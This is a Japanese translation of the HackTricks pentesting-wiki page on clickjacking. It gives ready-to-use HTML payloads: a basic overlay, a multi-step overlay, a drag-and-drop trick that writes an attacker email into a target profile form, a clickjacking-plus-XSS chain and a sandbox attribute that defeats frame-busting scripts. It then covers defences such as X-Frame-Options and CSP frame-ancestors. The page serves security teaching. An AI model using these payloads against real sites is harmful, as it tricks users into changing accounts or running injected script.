hacktricks/pentesting-web/clickjacking.md

13 KiB
Raw Blame History

Clickjacking

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Clickjackingとは

Clickjacking攻撃では、ユーザー見えないか、別の要素として偽装されたウェブページ上の要素クリックするように騙されます。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。

フォームの事前入力トリック

時々、ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます。攻撃者はこの動作を悪用して、フォームに任意のデータを入力してクリックジャッキングペイロードを送信し、ユーザーがボタンを押すようにすることができます。

ドラッグ&ドロップでフォームにデータを入力

ユーザーにフォームに入力してほしいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーにドラッグ&ドロップするように依頼して、この例のように制御されたデータを書き込むことができます。

基本的なペイロード

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

マルチステップペイロード

In this technique, the attacker uses multiple iframes to divide the attack into multiple steps. Each iframe loads a different part of the attack, making it harder for the victim to detect the malicious activity. By splitting the payload into multiple steps, the attacker can bypass certain security mechanisms that may be in place to detect and prevent clickjacking attacks.

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

ドラッグ&ドロップ + クリックペイロード

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

XSS攻撃を特定し、ユーザーがクリックする必要がある XSSをトリガー するページがあり、かつページがClickjackingに脆弱である場合、ユーザーをだましてボタン/リンクをクリックさせることができます。
例:
アカウントのプライベートな詳細(あなただけが設定および読み取り可能)でself XSSを見つけました。これらの詳細を設定するためのフォームClickjackingに脆弱であり、GETパラメータでフォーム事前に埋め込むことができます。
__攻撃者は、そのページにClickjacking攻撃を準備し、XSSペイロードフォームに事前に埋め込みユーザーをだましてフォームを送信させる可能性があります。そのため、フォームが送信され値が変更されると、ユーザーがXSSを実行します。

Clickjackingの緩和策

クライアントサイドの防御策

クライアントサイドで実行されるスクリプトは、Clickjackingを防ぐためのアクションを実行できます:

  • アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
  • すべてのフレームを表示する。
  • 不可視フレームでのクリックを防止する。
  • Clickjackingの試みを検出し、ユーザーに警告する。

ただし、これらのフレームブレーキングスクリプトは回避される可能性があります:

  • ブラウザのセキュリティ設定: 一部のブラウザは、セキュリティ設定やJavaScriptサポートの不足に基づいてこれらのスクリプトをブロックする場合があります。
  • HTML5 iframe sandbox属性: 攻撃者は、allow-formsまたはallow-scriptsの値を設定し、allow-top-navigationを含まないsandbox属性を設定することで、フレームブレーキングスクリプトを無効化できます。これにより、iframeがトップウィンドウであるかどうかを検証することが防止されます。
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

サーバーサイドの防御

X-Frame-Options

X-Frame-Options HTTPレスポンスヘッダーは、<frame>または<iframe>内でページをレンダリングする正当性についてブラウザに通知し、Clickjackingを防ぐのに役立ちます

  • X-Frame-Options: deny - どのドメインもコンテンツをフレーム化できません。
  • X-Frame-Options: sameorigin - 現在のサイトのみがコンテンツをフレーム化できます。
  • X-Frame-Options: allow-from https://trusted.com - 指定された 'uri' のみがページをフレーム化できます。
  • このディレクティブをサポートしていないブラウザがあるため、制限に注意してください。一部のブラウザはCSPのframe-ancestorsディレクティブを好む場合があります。

Content Security Policy (CSP)のframe-ancestorsディレクティブ

CSP内の**frame-ancestorsディレクティブ**はClickjacking保護の推奨方法です

  • frame-ancestors 'none' - X-Frame-Options: denyと類似。
  • frame-ancestors 'self' - X-Frame-Options: sameoriginと類似。
  • frame-ancestors trusted.com - X-Frame-Options: allow-fromと類似。

たとえば、次のCSPは同じドメインからのフレーミングのみを許可します

Content-Security-Policy: frame-ancestors 'self';

詳細や複雑な例は、frame-ancestors CSPドキュメントおよびMozillaのCSP frame-ancestorsドキュメントで見つけることができます。

child-srcおよびframe-srcを使用したContent Security PolicyCSP

**Content Security PolicyCSP**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐセキュリティ対策です。

frame-srcディレクティブ

  • フレームの有効なソースを定義します。
  • default-srcディレクティブより具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

このポリシーでは、同じオリジンselfおよびhttps://trusted-website.comからのフレームを許可します

child-srcディレクティブ

  • CSPレベル2で導入され、Webワーカーとフレームの有効なソースを設定するために使用されます。
  • frame-srcおよびworker-srcのフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;

このポリシーは、同じオリジンselfおよびhttps://trusted-website.comからのフレームとワーカーを許可します

使用上の注意:

  • 廃止予定: child-srcはframe-srcおよびworker-srcに取って代わられる過程にあります。
  • フォールバック動作: frame-srcが存在しない場合、フレームのフォールバックとしてchild-srcが使用されます。両方が存在しない場合、default-srcが使用されます。
  • 厳密なソース定義: 悪用を防ぐためにディレクティブに信頼できるソースのみを含めます。

JavaScriptによるフレーム破壊スクリプト

完全に万全ではありませんが、JavaScriptベースのフレーム破壊スクリプトを使用して、Webページがフレーム化されるのを防ぐことができます。例

if (top !== self) {
top.location = self.location;
}

Anti-CSRFトークンの利用

  • トークンの検証: WebアプリケーションでAnti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われていないことを確認します。

参考文献


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら!

HackTricksをサポートする他の方法: